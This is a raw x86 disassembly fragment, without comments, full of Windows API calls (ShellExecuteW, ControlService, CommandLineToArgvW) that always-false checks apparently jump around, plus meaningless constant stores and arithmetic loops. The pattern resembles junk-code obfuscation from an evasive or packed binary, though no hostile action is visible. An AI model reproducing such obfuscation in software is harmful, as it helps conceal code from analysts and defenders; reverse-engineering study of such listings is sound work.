mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x100351b5
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
xor eax, eax
or ecx, 0xffffffff
dec dword [ebp - 0x1c]
jns 0x1003518f
mov dword [ebp - 0x1c], eax
jmp 0x100351ff
mov dword [ebp - 0x2c], 0x2d62
mov dword [ebp - 0x20], eax
jmp 0x100351e1
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x100351de
push eax
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jle 0x100351cb
mov dword [ebp - 0x20], eax
jmp 0x100351f6
mov dword [ebp - 0x2c], 0xfffffff8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jle 0x100351ec
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jle 0x100351bf
jmp 0x10035235
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x1003521f
push 0x597
push eax
call dword [sym.imp.USER32.dll_GetSubMenu]
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10035235
push eax
push 0x7dc
push eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
dec dword [ebp - 0x10]
mov eax, 0xd145
cmp dword [ebp - 0x10], 0xfffffff7
je 0x1003512e
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x1003525e
push eax
push eax
push 7
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
xor eax, eax
mov dword [ebp - 0x20], 0x24ec2e0c
mov dword [ebp - 0x20], 0xffffffeb
jmp 0x10035292
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1003528f
push 0x184b
push eax
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff5
je 0x1003526e
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xb
je 0x100352ec
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x34], 0x1647
mov dword [ebp - 0x2c], esi
cmp dword [ebp - 0x54], eax
jne 0x100352bd
cmp dword [ebp - 0x20], eax
je 0x100352bd
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x100352c5
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x54]
xor edx, edx
mov eax, dword [ebp - 0x34]
dec ecx
cmp ecx, eax
mov eax, dword [ebp - 0x54]
push 0
setl dl
xor ecx, ecx
cmp eax, edx
pop eax
setl cl
mov dword [ebp - 0x2c], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xb
jne 0x100352a1
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x28], 0x7e6ef1f7
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10035313
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x60], 0x5b57fd54
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x100352fe
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jg 0x10035644
push 2
pop edx
mov dword [ebp - 0x20], edx
xor edi, edi
mov dword [ebp - 0x40], 0x9f8c5172
mov dword [ebp - 0x54], 0xfffffffd
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0x60], edi
je 0x1003534b
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0x60], edi
jne 0x1003534b
mov eax, esi
jmp 0x1003534d
xor eax, eax
cmp eax, 0xfffffffc
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, edx
mov eax, dword [ebp - 0x60]
setge cl
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x60]
cmp eax, ecx
mov eax, dword [ebp - 0x30]
setl dl
sub edx, dword [ebp + eax*4 - 0x60]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
imul edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x60]
cmp eax, edx
setg cl
xor eax, eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jg 0x1003562b
mov dword [ebp - 0x44], 0x8fb8
mov dword [ebp - 0x3c], 0xd8d92426
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x60]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x60]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
je 0x100353d0
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x60]
mov eax, dword [ebp - 0x30]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp + eax*4 - 0x60]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
setne dl
xor eax, eax
sub edx, dword [ebp - 0x3c]
cmp edx, 0xa81d
setl al
cmp eax, dword [ebp - 0x60]
je 0x10035404
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x10035406
mov eax, esi
mov dword [ebp - 0x40], eax
xor ecx, ecx
mov eax, dword [ebp - 0x3c]
or ebx, 0xffffffff
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp + eax*4 - 0x60]
mov eax, dword [ebp - 0x60]
cmp eax, ebx
mov eax, dword [ebp - 0x44]
setl cl
sub edx, ecx
cmp esi, eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, edx
setl cl
xor eax, eax
sub ecx, dword [ebp - 0x3c]
cmp ecx, 0x6ba05392
jg 0x10035449
mov edx, esi
cmp dword [ebp - 0x3c], eax
jne 0x1003544b
mov edx, eax
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edx, eax
setne cl
imul ecx, dword [ebp - 0x44]
neg ecx
cmp ecx, dword [ebp - 0x30]
jle 0x100355b7
mov dword [ebp - 0x38], 0x890aaf75
mov dword [ebp - 0x28], 0xad5889e5
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x60]
sub ecx, eax
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x60], ecx
je 0x10035491
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x10035493
mov eax, esi
jmp 0x10035493
xor eax, eax
mov dword [ebp - 0x3c], eax
xor edx, edx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
mov eax, ebx
mov ecx, 0xec6b039b
setne dl
sub eax, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
setne cl
xor eax, eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x33
jg 0x1003561d
push 0xfffffffffffffffa
pop edi
mov dword [ebp - 0x28], 0x2d7faeff
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x48], edi
push 5
pop eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x28], ebx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x18], esi
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x3c]
sub eax, 0xd1e
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x38]
test eax, eax
je 0x100355a2
mov dword [ebp - 0x28], 0xaf6502fc
mov dword [ebp - 0x40], 0xd
jmp 0x1003555a
mov dword [ebp - 0x2c], 0xfffffffd
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x10035557
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], edi
jne 0x10035539
mov dword [ebp - 0x3c], 0x7236
xor ecx, ecx
mov eax, dword [ebp - 0x3c]
cmp eax, 0x8a9b
setge cl
imul ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x10035589
mov eax, dword [ebp - 0x44]
neg eax
sbb eax, eax
inc eax
inc eax
je 0x10035589
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x28], 0x2da2ea9
cmp dword [ebp - 0x28], 0x8c34f7c3
sbb eax, eax
inc eax
mov dword [ebp - 0x40], eax
jmp 0x100355a8
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x3c], eax
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0x33
jle 0x100354d1
jmp 0x1003561b
mov dword [ebp - 0x34], esi
xor eax, eax
cmp dword [ebp - 0x34], eax
jne 0x100355d5
mov eax, dword [ebp - 0x44]
xor ecx, ecx
cmp eax, ebx
setl cl
xor eax, eax
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], eax
je 0x100355d7
mov eax, esi
add eax, 0x414c507b
jne 0x100355e1
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
xor ebx, ebx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x60]
cmp eax, 0xcfc2
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x44]
setg bl
xor edx, edx
neg ebx
cmp ecx, eax
setg dl
xor eax, eax
imul edx, dword [ebp - 0x34]
cmp ebx, edx
setg al
mov dword [ebp - 0x40], eax
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jle 0x1003539d
xor eax, eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], eax
jle 0x1003531f
mov edi, dword [sym.imp.USER32.dll_SetWindowTextW]
xor eax, eax
mov ebx, 0x72d9ee1c
mov dword [ebp - 0x24], 0x9a3df603
or ecx, 0xffffffff
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x2c], 0xd714f98c
mov dword [ebp - 0x2c], 0x4e665969
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x2c], 8
mov dword [ebp - 0x2c], eax
push 9
pop edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x2c], 0xfffffffc
mov dword [ebp - 0x28], 0xffff
mov dword [ebp - 0x2c], 0xe2caeaba
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x100356b4
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x618], 0x1124f01c
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1003569c
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x100356d6
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x10cc], 0x74d4b4b2
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x100356bd
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1003578f
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x2c], 0x91df82
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x2c], 0xbe76d238
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x2c], 0x19fa553f
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x1003571b
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x160], edx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10035707
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x1003573d
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1260], 0xb333ee6
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x10035724
xor eax, eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], eax
jl 0x1003578c
mov dword [ebp - 0x2c], 0xb048
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x10], eax
jmp 0x1003576b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x10dc], 0x3989226c
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003575a
dec dword [ebp - 0x28]
mov eax, dword [ebp - 0x160]
push 0
mov eax, dword [ebp + eax*4 - 0x618]
dec dword [ebp - 0x160]
pop eax
jns 0x1003574b
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jle 0x100356de
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x34], 0x29b3a00d
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x100357c4
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x6d0], 0xec2e0cf5
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x100357ab
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x100357e4
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x100357e1
push 0x5d3
push eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jle 0x100357c9
cmp dword [ebp - 0x20], eax
jne 0x10035827
mov ecx, dword [ebp - 0x34]
xor edx, edx
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov ecx, 0xd9a2b82c
setne dl
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x6cc]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
cmp ecx, 0xf746
jge 0x10035827
mov edx, esi
mov eax, dword [ebp - 0x6cc]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x34]
setge cl
sub ecx, eax
sub ecx, 0x5034859b
je 0x1003584d